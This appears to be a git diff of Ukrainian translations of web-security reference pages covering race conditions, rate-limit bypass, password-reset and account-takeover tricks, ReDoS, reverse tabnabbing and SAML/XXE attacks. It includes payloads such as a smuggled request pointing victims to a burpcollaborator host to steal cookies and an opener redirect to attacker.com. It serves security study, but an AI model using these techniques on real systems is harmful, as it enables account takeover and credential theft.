**Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **щоб спробувати це.** **Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **щоб спробувати це.**
@ -337,9 +337,17 @@ asyncio.run(main())
**Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **щоб спробувати це.** **Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **щоб спробувати це.**
### Обхід підтвердження бази даних / Обхід підтвердження
Якщо **використовуються 2 різні записи** для **додавання** **інформації** в **базу даних**, існує невеликий проміжок часу, коли **тільки перші дані були записані** в базу даних. Наприклад, при створенні користувача **ім'я користувача** та **пароль** можуть бути **записані**, а **потім токен** для підтвердження новоствореного облікового запису записується. Це означає, що протягом короткого часу **токен для підтвердження облікового запису є нульовим**.
Отже, **реєстрація облікового запису та надсилання кількох запитів з порожнім токеном** (`token=` або `token[]=` або будь-яка інша варіація) для негайного підтвердження облікового запису може дозволити **підтвердити обліковий запис**, де ви не контролюєте електронну пошту.
**Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **щоб спробувати це.**
### Обхід 2FA ### Обхід 2FA
Наступний псевдокод вразливий до гонки, оскільки в дуже короткий час **2FA не застосовується**, поки створюється сесія: Наступний псевдокод вразливий до гонки, оскільки протягом дуже короткого часу **2FA не застосовується**, поки створюється сесія:
```python ```python
session['userid'] = user.userid session['userid'] = user.userid
if user.mfa_enabled: if user.mfa_enabled:
@ -349,16 +357,16 @@ session['enforce_mfa'] = True
``` ```
### Вічна стійкість OAuth2 ### Вічна стійкість OAuth2
Є кілька [**постачальників OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ці сервіси дозволять вам створити додаток і аутентифікувати користувачів, яких зареєстрував постачальник. Для цього **клієнт** повинен **дозволити вашому додатку** отримати доступ до деяких їхніх даних у **постачальника OAUth**.\ Існує кілька [**постачальників OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ці сервіси дозволять вам створити додаток і аутентифікувати користувачів, яких зареєстрував постачальник. Для цього **клієнт** повинен **дозволити вашому додатку** отримати доступ до деяких їхніх даних у **постачальника OAUth**.\
Отже, до цього моменту це просто звичайний вхід через google/linkedin/github..., де вам пропонують сторінку з повідомленням: "_Додаток \<InsertCoolName> хоче отримати доступ до вашої інформації, чи хочете ви це дозволити?_" Отже, до цього моменту це просто звичайний вхід через google/linkedin/github..., де вам показують сторінку з повідомленням: "_Додаток \<InsertCoolName> хоче отримати доступ до вашої інформації, чи хочете ви це дозволити?_"
#### Умова гонки в `authorization_code` #### Умова гонки в `authorization_code`
**Проблема** виникає, коли ви **приймаєте це** і автоматично надсилаєте **`authorization_code`** зловмисному додатку. Потім цей **додаток зловживає Умовою гонки в сервісі OAUth, щоб згенерувати більше ніж один AT/RT** (_Токен аутентифікації/Токен оновлення_) з **`authorization_code`** для вашого облікового запису. В основному, він зловживає тим фактом, що ви прийняли додаток для доступу до ваших даних, щоб **створити кілька облікових записів**. Потім, якщо ви **припините дозволяти додатку доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними**. **Проблема** виникає, коли ви **приймаєте це** і автоматично надсилаєте **`authorization_code`** до шкідливого додатку. Потім цей **додаток зловживає Умовою гонки в сервісі OAUth, щоб згенерувати більше ніж один AT/RT** (_Токен аутентифікації/Токен оновлення_) з **`authorization_code`** для вашого облікового запису. В основному, він зловживає тим фактом, що ви прийняли додаток для доступу до ваших даних, щоб **створити кілька облікових записів**. Потім, якщо ви **припините дозволяти додатку доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними**.
#### Умова гонки в `Refresh Token` #### Умова гонки в `Refresh Token`
Якщо ви **отримали дійсний RT**, ви можете спробувати **зловживати ним, щоб згенерувати кілька AT/RT**, і **навіть якщо користувач скасовує дозволи** для зловмисного додатку на доступ до його даних, **кілька RT залишаться дійсними.** Якщо ви **отримали дійсний RT**, ви можете спробувати **зловживати ним, щоб згенерувати кілька AT/RT**, і **навіть якщо користувач скасовує дозволи** для шкідливого додатку на доступ до його даних, **кілька RT залишаться дійсними.**
## **УГ в WebSockets** ## **УГ в WebSockets**

View File

@ -42,11 +42,11 @@ X-Forwarded-For: 127.0.0.1
### Використання проксі-мереж ### Використання проксі-мереж
Розгортання мережі проксі для розподілу запитів через кілька IP-адрес може ефективно обійти обмеження швидкості на основі IP. Направляючи трафік через різні проксі, кожен запит виглядає так, ніби він походить з іншого джерела, зменшуючи ефективність обмеження швидкості. Розгортання мережі проксі для розподілу запитів між кількома IP-адресами може ефективно обійти обмеження швидкості на основі IP. Направляючи трафік через різні проксі, кожен запит виглядає так, ніби він походить з іншого джерела, розмиваючи ефективність обмеження швидкості.
### Розподіл атаки між різними обліковими записами або сесіями ### Розподіл атаки між різними обліковими записами або сесіями
Якщо цільова система застосовує обмеження швидкості на основі кожного облікового запису або сесії, розподіл атаки або тесту між кількома обліковими записами або сесіями може допомогти уникнути виявлення. Цей підхід вимагає управління кількома ідентичностями або токенами сесії, але може ефективно розподілити навантаження, щоб залишатися в межах допустимих обмежень. Якщо цільова система застосовує обмеження швидкості на основі кожного облікового запису або сесії, розподіл атаки або тесту між кількома обліковими записами або сесіями може допомогти уникнути виявлення. Цей підхід вимагає управління кількома ідентичностями або токенами сесій, але може ефективно розподілити навантаження, щоб залишитися в межах допустимих обмежень.
### Продовжуйте намагатися ### Продовжуйте намагатися

View File

@ -8,9 +8,9 @@
- Спробуйте згенерувати, використовуючи існуюче ім'я користувача - Спробуйте згенерувати, використовуючи існуюче ім'я користувача
- Перевірте, варіюючи електронну пошту: - Перевірте, варіюючи електронну пошту:
- великі літери - верхній регістр
- \+1@ - \+1@
- додайте крапку в електронній пошті - додайте деяку крапку в електронній пошті
- спеціальні символи в імені електронної пошти (%00, %09, %20) - спеціальні символи в імені електронної пошти (%00, %09, %20)
- Додайте чорні символи після електронної пошти: `test@test.com a` - Додайте чорні символи після електронної пошти: `test@test.com a`
- victim@gmail.com@attacker.com - victim@gmail.com@attacker.com
@ -59,7 +59,7 @@ saml-attacks/
1. Запросіть скидання пароля на вашу електронну адресу 1. Запросіть скидання пароля на вашу електронну адресу
2. Натисніть на посилання для скидання пароля 2. Натисніть на посилання для скидання пароля
3. Не змінюйте пароль 3. Не змінюйте пароль
4. Перейдіть на будь-які сторонні веб-сайти (наприклад: Facebook, Twitter) 4. Перейдіть на будь-які сторонні вебсайти (наприклад: Facebook, Twitter)
5. Перехопіть запит у проксі Burp Suite 5. Перехопіть запит у проксі Burp Suite
6. Перевірте, чи заголовок referer витікає токен скидання пароля. 6. Перевірте, чи заголовок referer витікає токен скидання пароля.
@ -88,14 +88,14 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com email=victim@mail.com|hacker@mail.com
``` ```
### IDOR на параметрах API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a> ### IDOR на API Параметрах <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Атакуючий повинен увійти в свій обліковий запис і перейти до функції **Змінити пароль**. 1. Атакуючий повинен увійти в свій обліковий запис і перейти до функції **Змінити пароль**.
2. Запустіть Burp Suite і перехопіть запит. 2. Запустіть Burp Suite і перехопіть запит.
3. Відправте його на вкладку повторювача та відредагуйте параметри: User ID/email\ 3. Відправте його на вкладку повторювача та відредагуйте параметри: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Слабкий токен скидання пароля <a href="#weak-password-reset-token" id="weak-password-reset-token"></a> ### Слабкий Токен Скидання Пароля <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.\ Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.\
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом. Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
@ -111,34 +111,34 @@ email=victim@mail.com|hacker@mail.com
- Повторне використання токена - Повторне використання токена
- Дата закінчення терміну дії токена - Дата закінчення терміну дії токена
### Витік токена скидання пароля <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> ### Витік Токена Скидання Пароля <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com 1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
2. Перевірте відповідь сервера та перевірте наявність `resetToken` 2. Перевірте відповідь сервера та перевірте наявність `resetToken`
3. Потім використовуйте токен в URL, наприклад `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` 3. Потім використайте токен в URL, наприклад `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Скидання пароля через колізію імені користувача <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> ### Скидання Пароля Через Колізію Імені Користувача <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: `"admin "` 1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: `"admin "`
2. Запросіть скидання пароля з вашим шкідливим іменем користувача. 2. Запросіть скидання пароля з вашим шкідливим іменем користувача.
3. Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви. 3. Використайте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
4. Увійдіть до облікового запису жертви з новим паролем. 4. Увійдіть до облікового запису жертви з новим паролем.
Платформа CTFd була вразливою до цієї атаки.\ Платформа CTFd була вразливою до цієї атаки.\
Дивіться: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) Дивіться: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Захоплення облікового запису через міжсайтовий скриптинг <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a> ### Захоплення Облікового Запису Через Міжсайтовий Скриптинг <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: `*.domain.com` 1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: `*.domain.com`
2. Витікайте поточний **cookie сесії** 2. Витягніть поточний **cookie сесії**
3. Аутентифікуйтеся як користувач, використовуючи cookie 3. Аутентифікуйтеся як користувач, використовуючи куки
### Захоплення облікового запису через підробку HTTP-запитів <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> ### Захоплення Облікового Запису Через HTTP Запит Смокінг <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Використовуйте **smuggler** для виявлення типу підробки HTTP-запитів (CL, TE, CL.TE)\ 1\. Використовуйте **smuggler** для виявлення типу HTTP Запит Смокінг (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` з наступними даними:\ 2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` з наступними даними:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` з метою відкритого перенаправлення жертв на burpcollab і крадіжки їхніх куків\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` з метою перенаправлення жертв на burpcollab і викрадення їхніх куків\
3\. Остаточний запит може виглядати наступним чином 3\. Остаточний запит може виглядати наступним чином
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
@ -157,7 +157,7 @@ Hackerone повідомляє про експлуатацію цього баг
### Захоплення облікового запису через CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a> ### Захоплення облікового запису через CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичною відправкою для зміни пароля” 1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичним відправленням для зміни пароля”
2. Відправте payload 2. Відправте payload
### Захоплення облікового запису через JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a> ### Захоплення облікового запису через JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>

View File

@ -4,7 +4,7 @@
# Регулярний вираз Відмова в обслуговуванні (ReDoS) # Регулярний вираз Відмова в обслуговуванні (ReDoS)
**Регулярний вираз Відмова в обслуговуванні (ReDoS)** відбувається, коли хтось використовує слабкі місця в тому, як працюють регулярні вирази (спосіб пошуку та зіставлення шаблонів у тексті). Іноді, коли використовуються регулярні вирази, вони можуть ставати дуже повільними, особливо якщо обсяг тексту, з яким вони працюють, збільшується. Ця повільність може настільки погіршитися, що зростає дуже швидко навіть при незначних збільшеннях розміру тексту. Зловмисники можуть використовувати цю проблему, щоб змусити програму, яка використовує регулярні вирази, перестати працювати належним чином на тривалий час. **Регулярний вираз Відмова в обслуговуванні (ReDoS)** відбувається, коли хтось використовує слабкості в тому, як працюють регулярні вирази (спосіб пошуку та зіставлення шаблонів у тексті). Іноді, коли використовуються регулярні вирази, вони можуть ставати дуже повільними, особливо якщо обсяг тексту, з яким вони працюють, збільшується. Ця повільність може настільки погіршитися, що зростає дуже швидко навіть при незначних збільшеннях розміру тексту. Зловмисники можуть використовувати цю проблему, щоб змусити програму, яка використовує регулярні вирази, перестати працювати належним чином на тривалий час.
## Проблемний алгоритм Regex Naïve ## Проблемний алгоритм Regex Naïve
@ -30,7 +30,7 @@
- У [**цьому пості**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) ви можете знайти це правило ReDoS: `^(?=<flag>)((.*)*)*salt$` - У [**цьому пості**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) ви можете знайти це правило ReDoS: `^(?=<flag>)((.*)*)*salt$`
- Приклад: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` - Приклад: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- У [**цьому звіті**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) ви можете знайти цей: `<flag>(((((((.*)*)*)*)*)*)*)!` - У [**цьому звіті**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) ви можете знайти це: `<flag>(((((((.*)*)*)*)*)*)*)!`
- У [**цьому звіті**](https://ctftime.org/writeup/25869) він використав: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$` - У [**цьому звіті**](https://ctftime.org/writeup/25869) він використав: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Контроль вводу та Regex ### ReDoS Контроль вводу та Regex

View File

@ -152,7 +152,7 @@ uuid-insecurities.md
- Тестування, чи можна використовувати токен скидання зловмисника разом з електронною поштою жертви. - Тестування, чи можна використовувати токен скидання зловмисника разом з електронною поштою жертви.
- **Кроки пом'якшення**: - **Кроки пом'якшення**:
- Забезпечте, щоб токени були прив'язані до сеансу користувача або інших специфічних атрибутів користувача. - Забезпечте, щоб токени були прив'язані до сеансу користувача або інших атрибутів, специфічних для користувача.
## **Недійсність сеансу при виході/скиданні пароля** ## **Недійсність сеансу при виході/скиданні пароля**

View File

@ -5,7 +5,7 @@
У ситуації, коли **зловмисник** може **контролювати** аргумент **`href`** тегу **`<a`** з атрибутом **`target="_blank" rel="opener"`**, який буде натиснутий жертвою, **зловмисник** **направляє** це **посилання** на веб-сайт під своїм контролем ( **шкідливий** **веб-сайт**). Потім, коли **жертва натискає** на посилання і переходить на веб-сайт зловмисника, цей **шкідливий** **веб-сайт** зможе **контролювати** **оригінальну** **сторінку** через об'єкт javascript **`window.opener`**.\ У ситуації, коли **зловмисник** може **контролювати** аргумент **`href`** тегу **`<a`** з атрибутом **`target="_blank" rel="opener"`**, який буде натиснутий жертвою, **зловмисник** **направляє** це **посилання** на веб-сайт під своїм контролем ( **шкідливий** **веб-сайт**). Потім, коли **жертва натискає** на посилання і переходить на веб-сайт зловмисника, цей **шкідливий** **веб-сайт** зможе **контролювати** **оригінальну** **сторінку** через об'єкт javascript **`window.opener`**.\
Якщо сторінка не має **`rel="opener"` але містить `target="_blank"` і також не має `rel="noopener"`**, вона також може бути вразливою. Якщо сторінка не має **`rel="opener"` але містить `target="_blank"` і також не має `rel="noopener"`**, вона також може бути вразливою.
Звичайний спосіб зловживання цією поведінкою полягає в тому, щоб **змінити місцезнаходження оригінального веб-сайту** через `window.opener.location = https://attacker.com/victim.html` на веб-сайт, контрольований зловмисником, який **схожий на оригінальний**, щоб він міг **імітувати** **форму входу** оригінального веб-сайту та запитувати у користувача облікові дані. Звичайний спосіб зловживання цією поведінкою полягає в тому, щоб **змінити місцезнаходження оригінального веб-сайту** через `window.opener.location = https://attacker.com/victim.html` на веб-сайт, контрольований зловмисником, який **схожий на оригінальний**, щоб він міг **імітувати** **форму входу** оригінального веб-сайту і запитувати у користувача облікові дані.
Однак зверніть увагу, що оскільки **зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту**, він може зловживати ним іншим чином для виконання **прихованих атак** (можливо, модифікуючи події javascript для витоку інформації на сервер, контрольований ним?) Однак зверніть увагу, що оскільки **зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту**, він може зловживати ним іншим чином для виконання **прихованих атак** (можливо, модифікуючи події javascript для витоку інформації на сервер, контрольований ним?)
@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
``` ```
## Доступні властивості <a href="#accessible-properties" id="accessible-properties"></a> ## Доступні властивості <a href="#accessible-properties" id="accessible-properties"></a>
У сценарії, коли відбувається **крос-доменний** доступ (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на які посилається об'єкт **opener** JavaScript, які можуть бути доступні зловмисним сайтом, обмежені наступними: У сценарії, коли відбувається **перехресний доступ** (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на який посилається об'єкт **opener** JavaScript, доступні для зловмисного сайту обмежені наступними:
- **`opener.closed`**: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення. - **`opener.closed`**: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення.
- **`opener.frames`**: Ця властивість надає доступ до всіх елементів iframe у поточному вікні. - **`opener.frames`**: Ця властивість надає доступ до всіх елементів iframe у поточному вікні.

View File

@ -42,7 +42,7 @@ First child after round-trip: Z
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>) ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
А це те, як він побачив його після етапу парсингу та серіалізації: А це те, як він побачив його після обробки та серіалізації:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
@ -53,7 +53,7 @@ First child after round-trip: Z
## Атаки на обгортку XML-підпису ## Атаки на обгортку XML-підпису
У **атаках на обгортку XML-підпису (XSW)** противники експлуатують вразливість, що виникає, коли XML документи обробляються через два різні етапи: **перевірка підпису** та **виклик функції**. Ці атаки передбачають зміну структури XML документа. Зокрема, зловмисник **впроваджує підроблені елементи**, які не порушують дійсність XML підпису. Це маніпулювання має на меті створити розбіжність між елементами, які аналізуються **логікою програми**, та тими, що перевіряються **модулем перевірки підпису**. В результаті, хоча XML підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє **фальшиві елементи**. Таким чином, зловмисник ефективно обходить **захист цілісності** та **автентифікацію походження** XML підпису, що дозволяє **впроваджувати довільний контент** без виявлення. У **атаках на обгортку XML-підпису (XSW)** противники використовують вразливість, що виникає, коли XML-документи обробляються через дві різні фази: **перевірка підпису** та **виклик функції**. Ці атаки передбачають зміну структури XML-документа. Зокрема, зловмисник **впроваджує підроблені елементи**, які не порушують дійсність XML-підпису. Це маніпулювання має на меті створити розбіжність між елементами, які аналізуються **логікою програми**, та тими, що перевіряються **модулем перевірки підпису**. В результаті, хоча XML-підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє **фальшиві елементи**. Таким чином, зловмисник ефективно обходить **захист цілісності** та **автентифікацію походження** XML-підпису, що дозволяє **впроваджувати довільний контент** без виявлення.
Наступні атаки базуються на [**цьому блозі**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **та** [**цьому документі**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Тож перевірте їх для отримання додаткових деталей. Наступні атаки базуються на [**цьому блозі**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **та** [**цьому документі**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Тож перевірте їх для отримання додаткових деталей.
@ -87,35 +87,35 @@ First child after round-trip: Z
### XSW #5 ### XSW #5
- **Унікальний аспект**: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений). - **Унікальний аспект**: Ані підпис, ані оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
- **Наслідок**: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа. - **Наслідок**: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.
![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-5.svg](<../../images/image (1030).png>) ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
### XSW #6 ### XSW #6
- **Стратегія**: Схожа вставка місця, як у XSW #4 та #5, але з обертом. - **Стратегія**: Схожа вставка місця, як у XSW #4 та #5, але з обертом.
- **Наслідок**: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру. - **Наслідок**: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру.
![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-6.svg](<../../images/image (169).png>) ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
### XSW #7 ### XSW #7
- **Стратегія**: Вставляється елемент Extensions з копійованою Assertion як дочірнім. - **Стратегія**: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
- **Наслідок**: Це експлуатує менш обмежену схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML. - **Наслідок**: Це використовує менш обмежену схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.
![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-7.svg](<../../images/image (971).png>) ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
### XSW #8 ### XSW #8
- **Відмінність від XSW #7**: Використовує інший менш обмежений XML елемент для варіанту атаки. - **Відмінність від XSW #7**: Використовує інший менш обмежений XML-елемент для варіанту атаки.
- **Наслідок**: Оригінальна Assertion стає дочірнім елементом менш обмеженого елемента, змінюючи структуру, використану в XSW #7. - **Наслідок**: Оригінальна Assertion стає дочірнім елементом менш обмеженого елемента, змінюючи структуру, використану в XSW #7.
![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-8.svg](<../../images/image (541).png>) ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
### Інструмент ### Інструмент
Ви можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для парсингу запиту, застосування будь-якої атаки XSW, яку ви виберете, та її запуску. Ви можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), щоб розібрати запит, застосувати будь-яку атаку XSW, яку ви виберете, і запустити її.
## XXE ## XXE
@ -125,7 +125,7 @@ First child after round-trip: Z
../xxe-xee-xml-external-entity.md ../xxe-xee-xml-external-entity.md
{{#endref}} {{#endref}}
Відповіді SAML є **зменшеними та закодованими в base64 XML документами** і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML відповіді SAML, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована: Відповіді SAML є **зменшеними та закодованими в base64 XML-документами** і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML відповіді SAML, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
@ -157,7 +157,7 @@ First child after round-trip: Z
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}} {{#endref}}
Розширювальні перетворення стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження. Розширені перетворення стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.
Тут ви можете знайти **POC** для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні дані. Тут ви можете знайти **POC** для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні дані.
```xml ```xml
@ -209,7 +209,7 @@ Certificate Faking - це техніка для перевірки, чи **пр
1. Перехопіть SAML Response. 1. Перехопіть SAML Response.
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку `Send Certificate to SAML Raider Certs`. 2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку `Send Certificate to SAML Raider Certs`.
3. У вкладці сертифікатів SAML Raider виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката. 3. У вкладці SAML Raider Certificates виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката.
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature. 4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
5. Видаліть будь-які існуючі підписи за допомогою кнопки `Remove Signatures`. 5. Видаліть будь-які існуючі підписи за допомогою кнопки `Remove Signatures`.
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку **`(Re-)Sign Message`** або **`(Re-)Sign Assertion`**, відповідно. 6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку **`(Re-)Sign Message`** або **`(Re-)Sign Assertion`**, відповідно.
@ -223,7 +223,7 @@ Token Recipient Confusion та Service Provider Target Confusion передба
Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис у постачальника послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit. Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис у постачальника послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.
Процес атаки є простим за цих умов. Аутентифікована сесія ініціюється з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, яке використовувалося для SP-Legit. Процес атаки є простим за цих умов. Аутентифікована сесія ініціюється з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, що використовувалося для SP-Legit.
```python ```python
# Example to simulate interception and redirection of SAML Response # Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url): def intercept_and_redirect_saml_response(saml_response, sp_target_url):

View File

@ -30,13 +30,13 @@
